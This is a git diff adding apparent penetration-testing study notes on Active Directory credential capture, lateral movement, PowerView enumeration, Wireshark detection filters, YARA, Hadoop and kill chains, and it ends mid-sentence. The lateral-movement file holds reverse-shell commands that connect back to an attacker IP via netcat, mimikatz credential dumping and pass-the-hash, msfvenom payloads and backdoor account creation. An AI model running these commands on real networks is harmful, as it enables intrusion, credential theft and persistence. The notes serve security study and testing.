-> No + * Insert DNS domain and organisation + * Provide password + * Select `MDB` as database + * No removal when db is purged + * Move old database when creating a new one + * Downgrade authentication via `*.ldif` file +```sh +dn: cn=config +replace: olcSaslSecProps +olcSaslSecProps: noanonymous,minssf=0,passcred +``` + * Patch and reload ldap +```sh +sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart +``` + * Check via +```sh +ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms +``` +* Make pcap via tcdump + +## Authentication Relay + +* Communcating services inside the network verify authentication of each other +* Intercept NTLM hashes send for example via `SMB` auth, or do a MITM +* Use responder poisons requests gained from + * __Link-Local Multicast Name Resolution__ (LLMNR) + * __NetBIOS Name Server__ (NBT-NS), send before LLMNR + * __Web Proxy Auto-Discovery__ (WPAD), finds proxies for future HTTP connections + +### Capture via responder + +* Run responder on LAN via +```sh +sudo responder -I +``` +* Use `hashcat` to crack the hashes +```sh +hashcat -m 5600 hash.txt rockyout.txt --force +``` + +### Relay via responder + +* `SMB` signing must not be enforced, either on or off +* Done after some intial enumeration and to gain administrative accounts + +## Microsoft Deployment Toolkit (MDT) + +* Deploy and patch software remotely +* Used in conjuction with Microsoft's System Center Configuration Manager (SCCM) + +### Preboot Execution Environment (PXE) + +* [Read this](https://www.riskinsight-wavestone.com/en/2020/01/taking-over-windows-workstations-pxe-laps/) + +* Load and install OS via network +* `MDT` provisions PXE boot images +* An IP gained via `DHCP` is the validation step, PXE will be delivered by `MDT` +* Retrieve/enumerate images via `TFTP` + +* Create an admin account after OS installation +* Password scraping to recover AD creds used during OS installation + +* Use `PowerPXE.ps1` to extract `*.bcd` files + + +## Configuration Files + +* Configurations of services and applications as well as registry keys +* Use enumeration scripts like `winpeas.sh` or `seatbelt` diff --git a/Miscellaneous/Active Directory/lateral_movement.md b/Miscellaneous/Active Directory/lateral_movement.md new file mode 100644 index 0000000..cf4f2b5 --- /dev/null +++ b/Miscellaneous/Active Directory/lateral_movement.md @@ -0,0 +1,264 @@ +# Lateral Movement + +* Finding credentials with more permissions move through the network cloaked, avoiding detection +* Context of connections from A to B with permission C might be suspicious, therefore some bypass has to be found +* Local and network/domain accounts have to be distinguished. UAC is enforced on local admin accounts and not on domain accounts + +* __Service executables need their own special reverse shell__, `msfvenom` file format `exe-service` + +## Remote Processes + +### psexec + +* Port `445` +* `SMB` protocol +* Group membership: `Administrators` + +* Upload the service binary to `ADMIN$` directory of the SMB server +* Use `psexesvc.exe` via service control manager to execute the remote process +* Communication will be established through a named pipe + +```sh +psexec64.exe \\%TARGET_IP% -u Administrator -p %PASSWORD% -i cmd.exe +``` + +### WinRM + +* Ports `5985` (HTTP) and `5986` (HTTPS) +* Group Membership: `Remote Management Users` + +* Execute powershell commands on remote targets + +```sh +winrs.exe -u:Administrator -p:%PASSWORD% -r:target cmd +``` + +* Run through powershell alternatively via +```sh +$username = "Administrator"; +$password = "SecurePassword"; +$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; +$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; + +Enter-PSSession -Computername TARGET -Credential $credential +Invoke-Command -Computername TARGET -Credential -ScriptBlock {whoami} +``` + +### sc + +* Ports `135`, `49152-65535` (DCE/RPC), `135` shows service endpoints on the high ports +* Ports `139` and `445`RPC over SMB named pipes, if SVCCTL fails over `135` +* Group Membership: `Administrators` + +* Create service remotely via Service Control Manager (RPC) or `SVCCTL` + +```sh +sc.exe \\%TARGET_IP% create MyService binPath= "net user newuser securepassword /add" start= auto +sc.exe \\%TARGET_IP% start MyService + +sc.exe \\%TARGET_IP% stop MyService +sc.exe \\%TARGET_IP% delete MyService +``` + +### schtasks + +* Create remote scheduled tasks +```sh +schtasks /s TARGET /RU "SYSTEM" /create /tn "SteamUpdateService" /tr "" /sc ONCE /sd 01/01/1970 /st 00:00 +schtasks /s TARGET /run /TN "SteamUpdateService" +``` +* Delete scheduled tasks via +```sh +schtasks /S TARGET /TN "SteamUpdateService" /DELETE /F +``` + +### wmi + +* Ports are + * DCOM `135` RPC and dynamic ports + * Wsman `5985` winrm HTTP and `5986` winrm HTTPS +* Group membership: `Administrators` + +* To start, use the same object used for winrm +```sh +$username = "Administrator"; +$password = "SecurePassword"; +$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; +$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; +``` + +* Store the session +```sh +$Opt = New-CimSessionOption -Protocol DCOM +$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop +``` + +* __Spawn a remote process__ +```sh +$Command = "powershell.exe -Command Set-Content -Path C:\payload.txt -Value itworked"; + +Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{ +CommandLine = $Command +} +``` + +* Alternatively via +```sh +wmic.exe /user:Administrator /password:securepassword /node:TARGET process call create "cmd.exe /c nc64.exe -e cmd.exe %ATTACKER_IP% %ATTACKER_PORT%" +``` + +* __Spawn a remote service__ +```sh +Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ +Name = "SteamUpdateService"; +DisplayName = "SteamUpdateService"; +PathName = "net user gabenewell securepassword /add"; +ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process +StartMode = "Manual" +} +``` +* Initiate the service +```sh +$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'SteamUpdateService'" + +Invoke-CimMethod -InputObject $Service -MethodName StartService +``` +* Start and stop via +```sh +Invoke-CimMethod -InputObject $Service -MethodName StopService +Invoke-CimMethod -InputObject $Service -MethodName Delete +``` + +* __Spawn a remote scheduled task__ +```sh +$Command = "cmd.exe" +$Args = "/c net user gabenewell securepassword /add" + +$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args +Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "SteamUpdateService" +Start-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService" +``` +* Delete task via +```sh +Unregister-ScheduledTask -CimSession $Session -TaskName "SteamUpdateService" +``` + +* __ Install a remote msi package__ +```sh +msfvenom -p windows/x64/shell_reverse_tcp LHOST=$TARGET_IP LPORT=4711 -f msi -o steam.msi +``` +* Upload and run via +```sh +Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\steam.msi"; Options = ""; AllUsers = $false} +``` +* Alternatively on older systems via +```sh +wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\steam.msi +``` + +## Further Authentication Methods + +* NTLM +* Kerberos + +### NTLM + +#### __Pass the hash__ + +* Retrieve and pass a hash generated from the password + +* Use mimikatz on local SAM +```sh +privilege::debug +token::elevate +lsadump::sam +``` + * Use mimikatz on lsass +```sh +privilege::debug +token::elevate +sekurlsa::msv +``` + + * Open reverse shell via mimikatz +```sh +token::revert +sekurlsa::pth /user: +/domain: /ntlm: /run:"C:\Windows\temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" +``` + +* Via RDP +```sh +xfreerdp /v:$TARGET_IP /u:DOMAIN\\ /pth: +``` +* Via psexec +```sh +psexec.py -hashes DOMAIN/@%TARGET_IP% +``` +* Kerberos +```sh +evil-winrm -i $TARGET_IP -u -H +``` + +### Kerberos + +* Ticket and session key are needed + +#### Pass The Ticket + +* Extract via mimikatz +```sh +privilege::debug +sekurlsa::tickets /export +``` +* TGS need low privilege account, TGT need administrative privileges +* Use the ticket to inject into a current session +```sh +kerberos::ptt @.kirbi +``` + +* Check tickets via `klist` + + +#### Overpass The Hash + +* Pass the key: Timestamp to gain TGT is encrypted via an encrypted key + * Algorithms can be `rc4`, `aes128`, `aes256` or `des` if enabled + * `rc4` is a pure ntml hash +* Use the key to gain the TGT +```sh +privilege::debug +sekurlsa::ekeys +``` + +* Open a reverse shell via +```sh +sekurlsa::pth /user:Administrator /domain: /: /run:"C:\Windows\Temp\nc.exe -e cmd.exe %ATTACKER_IP% 4711" +``` + +## Writeable Shares + +* Find a shortcut, a script or anything that keeps a connection over the network to a share + +* Reuse a `*.vbs` via +```sh +CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\%TARGET_IP%\share\nc.exe %tmp% & %tmp%\nc.exe -e cmd.exe %ATTACKER_IP% 4711", 0, True +``` + +* Reuse and inject into exisiting portable executable +```sh +msfvenom -a x64 --platform windows -x -k -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=4711 -b "\x00" -f exe -o +``` + +* Reuse RDP session. Administrator can be logged out but did not close the session. Reuse it without a password as administrator user. Therefore run `cmd` or `powershell` as administrator and reuse the session by its name +```sh +PsExec64.exe -s cmd.exe +query user +``` +* Check output and fill in +```sh +tscon /dest: +``` +* Session state should be `DISC`, a session which was not exited correctly +* Windows Server < 2019 only without the password + diff --git a/Miscellaneous/Active Directory/powerview.ps1 b/Miscellaneous/Active Directory/powerview.ps1 new file mode 100644 index 0000000..1bf751a --- /dev/null +++ b/Miscellaneous/Active Directory/powerview.ps1 @@ -0,0 +1,207 @@ +# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/ +# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c + +# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit: +# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1 + +# New function naming schema: +# Verbs: +# Get : retrieve full raw data sets +# Find : ‘find’ specific data entries in a data set +# Add : add a new object to a destination +# Set : modify a given object +# Invoke : lazy catch-all +# Nouns: +# Verb-Domain* : indicates that LDAP/.NET querying methods are being executed +# Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration +# Verb-Net* : indicates that Win32 API access is being used under the hood + + +# get all the groups a user is effectively a member of, 'recursing up' using tokenGroups +Get-DomainGroup -MemberIdentity + +# get all the effective members of a group, 'recursing down' +Get-DomainGroupMember -Identity "Domain Admins" -Recurse + +# use an alterate creadential for any function +$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +# retrieve all the computer dns host names a GPP password applies to +Get-DomainOU -GPLink '' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname} + +# get all users with passwords changed > 1 year ago, returning sam account names and password last set times +$Date = (Get-Date).AddYears(-1).ToFileTime() +Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset + +# all enabled users, returning distinguishednames +Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname +Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname + +# all disabled users +Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" +Get-DomainUser -UACFilter ACCOUNTDISABLE + +# all users that require smart card authentication +Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)" +Get-DomainUser -UACFilter SMARTCARD_REQUIRED + +# all users that *don't* require smart card authentication, only returning sam account names +Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname +Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname + +# use multiple identity types for any *-Domain* function +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff + +# find all users with an SPN set (likely service accounts) +Get-DomainUser -SPN + +# check for users who don't have kerberos preauthentication set +Get-DomainUser -PreauthNotRequired +Get-DomainUser -UACFilter DONT_REQ_PREAUTH + +# find all service accounts in "Domain Admins" +Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'} + +# find users with sidHistory set +Get-DomainUser -LDAPFilter '(sidHistory=*)' + +# find any users/computers with constrained delegation st +Get-DomainUser -TrustedToAuth +Get-DomainComputer -TrustedToAuth + +# enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation +$Computers = Get-DomainComputer -Unconstrained +$Users = Get-DomainUser -AllowDelegation -AdminCount + +# return the local *groups* of a remote server +Get-NetLocalGroup SERVER.domain.local + +# return the local group *members* of a remote server using Win32 API methods (faster but less info) +Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local + +# Kerberoast any users in a particular OU with SPNs set +Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" + +# Find-DomainUserLocation == old Invoke-UserHunter +# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in +Find-DomainUserLocation -ComputerUnconstrained -ShowAll + +# hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation +Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation + +# find all computers in a given OU +Get-DomainComputer -SearchBase "ldap://OU=..." + +# Get the logged on users for all machines in any *server* OU in a particular domain +Get-DomainOU -Identity *server* -Domain | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}} + +# enumerate all gobal catalogs in the forest +Get-ForestGlobalCatalog + +# turn a list of computer short names to FQDNs, using a global catalog +gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname} + +# enumerate the current domain controller policy +$DCPolicy = Get-DomainPolicy -Policy DC +$DCPolicy.PrivilegeRights # user privilege rights on the dc... + +# enumerate the current domain policy +$DomainPolicy = Get-DomainPolicy -Policy Domain +$DomainPolicy.KerberosPolicy # useful for golden tickets ;) +$DomainPolicy.SystemAccess # password age/etc. + +# enumerate what machines that a particular user/group identity has local admin rights to +# Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation +Get-DomainGPOUserLocalGroupMapping -Identity + +# enumerate what machines that a given user in the specified domain has RDP access rights to +Get-DomainGPOUserLocalGroupMapping -Identity -Domain -LocalGroup RDP + +# export a csv of all GPO mappings +Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv + +# use alternate credentials for searching for files on the domain +# Find-InterestingDomainShareFile == old Invoke-FileFinder +$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force +$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password) +Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential + +# enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names +Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local + +# grant user 'will' the rights to change 'matt's password +Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose + +# audit the permissions of AdminSDHolder, resolving GUIDs +Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs + +# backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse +Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All + +# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) +Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { + ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') +} + +# find linked DA accounts using name correlation +Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname} + +# save a PowerView object to disk for later usage +Get-DomainUser | Export-Clixml user.xml +$Users = Import-Clixml user.xml + +# Find any machine accounts in privileged groups +Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'} + +# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights +Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')} + +# find all policies applied to a current machine +Get-DomainGPO -ComputerIdentity windows1.testlab.local + +# enumerate all groups in a domain that don't have a global scope, returning just group names +Get-DomainGroup -GroupScope NotGlobal -Properties name + +# enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships +# query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames +$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname +$Domains = @{} +$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) { + # extract the domain the foreign user was added to + $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # check if we've already enumerated this domain + if (-not $Domains[$ForeignUserDomain]) { + $Domains[$ForeignUserDomain] = $True + # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set + $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))" + Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member + } +} +$ForeignMemberships | fl + +# if running in -sta mode, impersonate another credential a la "runas /netonly" +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred +# ... action +Invoke-RevertToSelf + +# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier + +# set the specified property for the given user identity +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose + +# Set the owner of 'dfm' in the current domain to 'harmj0y' +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync) +Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { + ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get') +} + +# check if any user passwords are set +$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl + diff --git a/Miscellaneous/BPF Filter.md b/Miscellaneous/BPF Filter.md new file mode 100644 index 0000000..72897ed --- /dev/null +++ b/Miscellaneous/BPF Filter.md @@ -0,0 +1,333 @@ +# Wireshark BPF Filters + +* This is a collection of bpf and wireshark filters to find specific network situations. + +## TCP Scans + +* Recognize nmap scans in traffic + +### TCP Connect Scan + +* Has a TCP window size larger than 1024 bytes + +Open TCP Port looks like + +```sh +SYN --> +<-- SYN, ACK +ACK --> +``` + +or + +```sh +SYN --> +<-- SYN,ACK +ACK --> +RST, ACK --> +``` + +Closed TCP Port + +```sh +SYN --> +<-- RST, ACK +``` + +* Find TCP Connect scan pattern +```bpf +tcp.flags.syn == 1 && tcp.flags.ack == 0 && tcp.window_size > 1024 +``` + +### TCP Half Open SYN Scan + +* Lower or equal to 1024 bytes windows size + +Open TCP Port looks like + +```sh +SYN --> +<-- SYN, ACK +RST --> +``` + +Closed TCP Port looks like + +```sh +SYN --> +<-- RST, ACK +``` + +* Find half open SYN scan pattern +```bpf +tcp.flags.syn == 1 && tcp.flags.ack == 0 && tcp.window_size <=1024 +``` + +## UDP Scans + +Open UDP Port looks like + +```sh +UDP packet --> +``` + +A closed UDP port is recognizable by an ICMP Type 3 reply + +```sh +UDP packet --> +<-- ICMP Type 3 +``` + +* Find UDP scan pattern with closed ports as a reply +```bpf +icmp.type==3 and icmp.code==3 +``` + +## ARP + +* Find ARP requests +```bpf +arp.opcode == 1 +``` + +* Find ARP responses +```bpf +arp.opcode == 2 +``` + +* Find MAC address +```sh +arp.dst.hw_mac == 00:00:DE:AD:BA:BE +``` + +* Detect ARP Poisoning +```bpf +arp.duplicate-address-detected or arp.duplicate-address-frame +``` + +* Detect ARP Flooding +```bpf +((arp) && (arp.opcode == 1)) && (arp.src.hw_mac == ) +``` + +## DHCP Analysis + +* `dns` or `bootp` + +* DHCP Request +```sh +dhcp.option.dhcp == 3 +``` + +* DHCP ACK +```sh + dhcp.option == 5 +``` + + +* DHCP NAK +```sh +dhcp.option == 6 +``` + +* Other DHCP options + * 12 Hostname. + * 15 domain name + * 51 Requested IP lease time. + * 61 Client's MAC address + * 50 Requested IP address. + * 51 assigned IP lease time + * 56 Message rejection details + +## NetBIOS + +* `nbns` +* NetBIOS details are the interesting info, for example +```sh +nbns.name contains "foo" +``` + +## Kerberos + +* `kerberos` + +* Search for cname information +```sh +kerberos.CNameString contains "foo" +``` + +* Find machine hostnames +```sh +kerberos.CNameString and !(kerberos.CNameString contains "$") +``` + +* Find Kerberos protocol version +```sh +kerberos.pvno == 5 +``` + +* Domain name for a created Kerberos ticket +```sh +kerberos.realm contains ".foo" +``` + +* Service and domain name for the created Kerberos ticket +```sh +kerberos.SNnameString == "krbtg" +``` + +## Tunneled Traffic + +### ICMP Exfiltration + +* `icmp` +* Check for destination, packet length or encapsulated protocols +```sh +icmp && data.len > 64 +``` + +### DNS Exfiltration + +* `dns` +* Check for query length, unusual, encoded or long DNS address name queries +* Check for dnscat and dns2tcp or high frequency of DNS queries +```sh +dns contains "dns2tcp" +dns contains "dnscat" +dns.qry.name.len > 15 !mdns +``` + +## FTP Traffic + +```sh +ftp.response.code == 211 +``` +* FTP response codes + * __211__, System status + * __212__, Directory status + * __213__, File status + * __220__, Service ready + * __227__, Entering passive mode + * __228__, Long passive mode + * __229__, Extended passive mode + * __230__, User login + * __231__, User logout + * __331__, Valid username + * __430__, Invalid username or password + * __530__, No login, invalid password + +* Some FTP commands + * __USER__, Username + * __PASS__, Password + * __CWD__, Current work directory + * __LIST__, List + +* FTP Commands can be found via +```sh +ftp.request.command == "USER" +ftp.request.arg == "password" +``` + +* __Bruteforce signal__, list failed login attempts +```sh +ftp.response.code == 530 +``` + +* __Bruteforce signal__, List target username +```sh +(ftp.response.code == 530) && (ftp.response.arg contains "username") +``` + +* __Password spray signal__, List targets for a static password +```sh +(ftp.request.command == "PASS") && (ftp.request.arg == "password") +``` + +## HTTP + +* `http` or `http2` +* HTTP methods can be searched for +```sh +http.request.method == "GET" +http.request +``` + +* HTTP response codes + * __200__, OK + * __301__, Moved Permanently + * __302__, Moved Temporarily + * __400__, Bad Request + * __401__, Unauthorised + * __403__, Forbidden + * __404__, Not Found + * __405__, Method Not Allowed + * __408__, Request Timeout + * __500__, Internal Server Error + * __503__, Service Unavailable +```sh +http.response.code == 200 +``` + +* HTTP header parameters +```sh +http.user_agent contains "nmap" +http.request.uri contains "foo" +http.request.full_uri contains "foo" +``` + +* Other HTTP header parameters + * __Server__: Server service name + * __Host__: Hostname of the server + * __Connection__: Connection status + * __Line-based text data__: Cleartext data provided by the server +```sh +http.server contains "apache" +http.host contains "keyword" +http.host == "keyword" +http.connection == "Keep-Alive" +data-text-lines contains "keyword" +``` + +* HTTP User Agent and the usual tools to find +```sh +http.user_agent +(http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap") or (http.user_agent contains "Wfuzz") or (http.user_agent contains "Nikto") +``` + +### HTTP and Log4j + +```sh +http.request.method == "POST" +(ip contains "jndi") or ( ip contains "Exploit") +(frame contains "jndi") or ( frame contains "Exploit") +(http.user_agent contains "$") or (http.user_agent contains "==") +``` + +## HTTPS + +* __Client Hello__, (http.request or tls.handshake.type == 1) && !(ssdp) +* __Server Hello__,(http.request or tls.handshake.type == 2) && !(ssdp) + +* Put in pre-shared key via `Edit --> Preferences --> Protocols --> TLS` +* __Get the pre-shared key via__ +```sh +ip xfrm state +``` +* Alternatively use a Pre-Master-Secret log file to decode TLS + + +## Plain Text Credentials + +`Tools` -> `Credentials` shows all the plain text credentials inside the pcap file + +## Firewall ACLs Rules + +Create FW ACL rules via `Tools` -> `Firewall ACL Rules`. Rule can be created for +* iptables +* IOS +* ipfilter +* ipfw +* pf +* netsh + + diff --git a/Miscellaneous/Bash.md b/Miscellaneous/Bash.md new file mode 100644 index 0000000..c51e7cb --- /dev/null +++ b/Miscellaneous/Bash.md @@ -0,0 +1,3 @@ +# Shell Scripting + +[Bash Cheatsheet](https://devhints.io/bash) diff --git a/Miscellaneous/ClamAV.md b/Miscellaneous/ClamAV.md new file mode 100644 index 0000000..15851e6 --- /dev/null +++ b/Miscellaneous/ClamAV.md @@ -0,0 +1,23 @@ +# ClamAV + +* Can be started with custom database or yara rules + +## Hashes Database +* `*.hdb` is a database containing hashes. Can be customized and scanned against + +## Yara Rules + +* Custom `*.yara` rules can be set. An example +```yara +rule example { + meta: + author = "Gabe Newell" + description = "Look at how the Yara rule works with ClamAV" + strings: + $string = "a-string-found-inside-the-malicious-binary" + $file_signature = "magic-number-in-ascii" + condition: + #file_signature at 0 and $string +} +``` + diff --git a/Miscellaneous/Diamond Model.md b/Miscellaneous/Diamond Model.md new file mode 100644 index 0000000..926f134 --- /dev/null +++ b/Miscellaneous/Diamond Model.md @@ -0,0 +1,62 @@ +# Diamond Model + +* [Socinvestigation's article](https://www.socinvestigation.com/threat-intelligence-diamond-model-of-intrusion-analysis/) + +## Adversary + +Any actor utilizing capability against the victim to achieve a goal + +## Capability + +Describes TTPs used in the attack. Every capability has a capacity. Adversary Arsenal is the overall capacity of an attacker's capabilities. + +## Infrastructure + +Physical and logical communication structures the attacker uses to deliver a capability, C2, exfiltration. + +* Type 1: Belongs to the adversary +* Type 2: Is used by the adversary as a proxy from which the attack is send +* Other Service Providers: Any service used to reach the goal of an adversary + +## Victim + +The target the adversary exploits. May be a person or a technical system. + +## Meta Features + +### Timestamp + +* Events are logged with timestamps + +### Phase + +Events happen in succession of multiple steps. + +### Result + +Approximate or full goal of the adversary. + +### Methodology + +Malicious activities are categorized to differentiate the methods of attack + +### Resources + +All supporting elements an event depends on. +* Software +* Hardware +* Funds +* Facilities +* Access +* Knowledge +* Information + +### Technology and Direction + +Connects infrastructure and capabilities. + +### Socio-Political + +An existing relationshiop between the adversary and the victim + + diff --git a/Miscellaneous/Hadoop.md b/Miscellaneous/Hadoop.md new file mode 100644 index 0000000..cd9a950 --- /dev/null +++ b/Miscellaneous/Hadoop.md @@ -0,0 +1,57 @@ +# Hadoop + +Distributed storage and computing +* [Hadoop Attack Libs](https://github.com/wavestone-cdt/hadoop-attack-library.git) + +## Terminology +* __Cluster__, forms the datalake +* __Node__, single host inside the cluster +* __NameNode__, node that keeps the dir tree of the Hadoop file system +* __DataNode__, slave node that stores files and is instructed by the NameNode +* __Primary NameNode__, current active node responsible for keeping the directory structure +* __Secondary NameNode__, hot standby for Primary NameNode. There may be multiple on standby inside the cluster +* __Master Node__, Hadoop management app like HDFS or YARN Manager +* __Slave Node__, Hadoop worker like HDFS or MapReduce. a node can be master and slave at the same time +* __Edge Node__, hosting Hadoop user app like Zeppelin or Hue +* __Kerberised__, security enabled cluster through Kerberos + +* __HDFS__, Hadoop Distributed File System, storage device for unstructured data +* __Hive__, primary DB for structured data +* __YARN__, scheduling jobs and resource management +* __MapReduce__, distributed filtering, sorting and reducing +* __HUE__, GUI for HDFS and Hive +* __Zookeeper__, cluster management +* __Kafka__, message broker +* __Ranger__, privileged ACL +* __Zeppelin__, data analytivs inside a webUI + +## Zeppelin + +* Try [default logins](https://zeppelin.apache.org/docs/0.8.2/setup/security/shiro_authentication.html#4-login) +* Try execution inside notebooks + +## Ktabs + +* Finding `ktpass`es to authenticate at the kerberos TGS +* Output principals and use them to init +```sh +klist -k +kinit -k -V -t +``` + +## HDFS + +* User the `hdfs` utility to enumerate the distributed network storage +```sh +hdfs dfs -ls / +``` +* Current user and user on the storage do not have to correspond +* Touched files on the storage may be owned by root +```sh +hdfs dfs -touchz testfile /tmp/testfile +hdfs dfs -ls /tmp +``` +* Impersonate by sourcing keytab file of the user, __NodeManager__ is the highest user in regards to permission + + + diff --git a/Miscellaneous/Killchains.md b/Miscellaneous/Killchains.md new file mode 100644 index 0000000..2902c38 --- /dev/null +++ b/Miscellaneous/Killchains.md @@ -0,0 +1,65 @@ +# Security Killchains + +Frameworks of killchains are inherited from the military and separate steps in which an attack occurs. + +## Lockheed & Martin + +* [Lockheed & Martin's Cyber Kill Chain Website](https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html) + +1. Reconnaissance +2. Weaponization +3. Delivery +4. Exploitation +5. Installation +6. Command & Control +7. Actions on Objectives + +## Mitre ATT&CK Matrix + +[Mitre ATT&CK](https://attack.mitre.org) is a matrix of __Tactics, Techniques and Procedures (TTP)__ of adversaries called __Adanced Persistent Threats (APT)__. The tactics are + +1. Reconnaissance +2. Resource Development +3. Initial Access +4. Execution +5. Persistence +6. Privilege Escalation +7. Defense Evasion +8. Credential Access +9. Discovery +10. Lateral Movement +11. Collection +12. Command and Control +13. Exfiltration +14. Impact + +[Crowdstrike](https://crowdstrike.com) as a threat intelligence tool is built on the Mitre ATT&CK framework. + +## Unified Cyber Kill Chain + +[The Unified Cyber 